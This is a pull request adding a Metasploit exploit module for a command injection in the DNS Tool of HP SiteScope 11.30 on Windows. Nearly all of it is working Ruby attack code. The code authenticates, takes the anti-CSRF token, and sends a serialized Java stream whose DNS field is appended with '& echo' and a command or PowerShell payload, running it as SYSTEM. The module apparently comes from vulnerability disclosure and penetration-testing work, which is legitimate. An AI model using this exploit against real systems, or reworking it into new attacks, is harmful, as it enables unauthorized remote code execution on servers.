HP SiteScope vuln, R7-2015-17

On behalf of @l0gan, already reviewed once by @jvazquez-r7, reviewed
again by me.

For details, see:

https://community.rapid7.com/community/metasploit/blog/2017/10/09/r7-2015-17-hp-sitescope-dns-tool-command-injection

modules/exploits/windows/http/hp_sitescope_dns_tool.rb

@@ -0,0 +1,196 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/exploit/powershell'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = GoodRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::Powershell
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => 'HP SiteScope DNS Tool Command Injection',
+      'Description'    => %q{
+        This module exploits a command injection vulnerability
+        discovered in HP SiteScope 11.30 and earlier versions (tested in 11.26
+        and 11.30). The vulnerability exists in the DNS Tool allowing an
+        attacker to execute arbitrary commands in the context of the service. By
+        default, HP SiteScope installs and runs as SYSTEM in Windows and does
+        not require authentication. This vulnerability only exists on the
+        Windows version. The Linux version is unaffected.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Kirk Hayes', # @kirkphayes / Vulnerability Discovery and MSF module author
+          'Charles Riggs', # c0v3rt_chann3l / Vulnerability Discovery
+          'Juan Vazquez' # help with MSF module
+        ],
+      'References'     =>
+        [
+          ['URL', 'https://community.rapid7.com/community/metasploit/blog/2017/10/09/r7-2015-17-hp-sitescope-dns-to'],
+          ['URL', 'http://www8.hp.com/us/en/software-solutions/sitescope-application-monitoring/index.html'] # vendor site
+        ],
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          [ 'HP SiteScope 11.30 / Microsoft Windows 7 and higher',
+            {
+              'Arch' => [ARCH_X86_64, ARCH_X86]
+            }
+          ],
+          [ 'HP SiteScope 11.30 / CMD',
+            {
+              'Arch' => [ARCH_CMD]
+            }
+          ]
+        ],
+      'Privileged'     => false,
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Oct 9 2015'))
+
+      register_options(
+        [
+          Opt::RPORT(8080),
+          OptString.new('SITE_SCOPE_USER', [false, 'Username for authentication', '']),
+          OptString.new('SITE_SCOPE_PASSWORD', [false, 'Password for authentication', '']),
+          OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
+        ], self.class)
+    end
+
+  def exploit
+    initial_session = get_initial_session_id
+    redirect = authenticate(initial_session)
+    session = get_authenticated_session_id(initial_session, redirect)
+    csrf_token = get_csrf_token(session)
+
+    print_status("#{peer} - Executing payload")
+    random_mark = Rex::Text.rand_text_alpha(5 + rand(5))
+    res = send_request_cgi(
+      {
+        'uri'      => normalize_uri(target_uri.path.to_s, 'remoteProxy'),
+        'method'   => 'POST',
+        'vars_get' => {
+          'OWASP_CSRFTOKEN' => csrf_token
+        },
+        'cookie'   => session,
+        'ctype'    => 'application/octet- serializable object',
+        'data'     => build_stream(random_mark)
+      }, 5)
+
+    if res && res.code == 200 && res.body
+      res_io = StringIO.new(res.body.to_s)
+      res_stream = Rex::Java::Serialization::Model::Stream.decode(res_io)
+      return if res_stream.nil?
+      show = false
+      res_stream.references.each do |ref|
+        if ref.class == Rex::Java::Serialization::Model::Utf && show
+          print_good(ref.contents)
+          next
+        elsif ref.class == Rex::Java::Serialization::Model::Utf && ref.contents.include?(random_mark)
+          show = true
+          next
+        end
+      end
+    end
+  end
+
+  def get_initial_session_id
+    print_status("#{peer} - Retrieving an initial JSESSIONID...")
+    res = send_request_cgi(
+      'uri'    => normalize_uri(target_uri.path.to_s, 'servlet', 'Main'),
+      'method' => 'POST'
+    )
+
+    if res and res.code == 200 and res.get_cookies.include?('JSESSIONID')
+      session_id = res.get_cookies
+    else
+      fail_with(Failure::Unknown, "#{peer} - Retrieve of initial JSESSIONID failed")
+    end
+
+    session_id
+  end
+
+  def authenticate(session_id)
+    print_status("#{peer} - Authenticating on HP SiteScope Configuration...")
+    res = send_request_cgi(
+      {
+        'uri'       => normalize_uri(target_uri.path.to_s, 'j_security_check'),
+        'method'    => 'POST',
+        'cookie'    => session_id,
+        'vars_post' => {
+          'j_username' => datastore['SITE_SCOPE_USER'],
+          'j_password' => datastore['SITE_SCOPE_PASSWORD']
+        }
+      })
+
+    if res && res.code == 302
+      redirect =  URI(res.headers['Location']).path
+    else
+      fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")
+    end
+
+    redirect
+  end
+
+  def get_authenticated_session_id(session_id, redirect)
+    print_status("#{peer} - Following redirection to finish authentication...")
+
+    res = send_request_cgi(
+      {
+        'uri' => redirect,
+        'method' => 'GET',
+        'cookie' => session_id
+      })
+
+    if res && res.code == 200 && res.get_cookies.include?('JSESSIONID')
+      auth_session = res.get_cookies
+    else
+      fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")
+    end
+
+    auth_session
+  end
+
+  def get_csrf_token(session)
+    print_status("#{peer} - Getting anti-CSRF token...")
+    res = send_request_cgi(
+      'uri'    => normalize_uri(target_uri.path.to_s, 'jsp', 'tabs.jsp'),
+      'cookie' => session
+    )
+
+    if res && res.code == 302 && res.headers['Location'] =~ /OWASP_CSRFTOKEN=([A-Z0-9\-]+)/
+      csrf_token = $1
+    else
+      fail_with(Failure::Unknown, "#{peer} - Failed to get anti-CSRF token")
+    end
+
+    csrf_token
+  end
+
+  def build_stream(random_mark)
+    site = "google.com & echo #{random_mark} & "
+    if target.arch.include?('cmd')
+      command = payload.encoded
+    else
+      command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
+    end
+
+    file = File.join( Msf::Config.data_directory, 'exploits', 'CVE-pending', 'stream.raw')
+
+    f = File.new(file, 'rb')
+    stream = Rex::Java::Serialization::Model::Stream.decode(f)
+    f.close
+
+    dns_param = stream.references[0x44]
+    dns_param.contents = site + command
+    dns_param.length = dns_param.contents.length
+
+    stream.encode
+  end
+end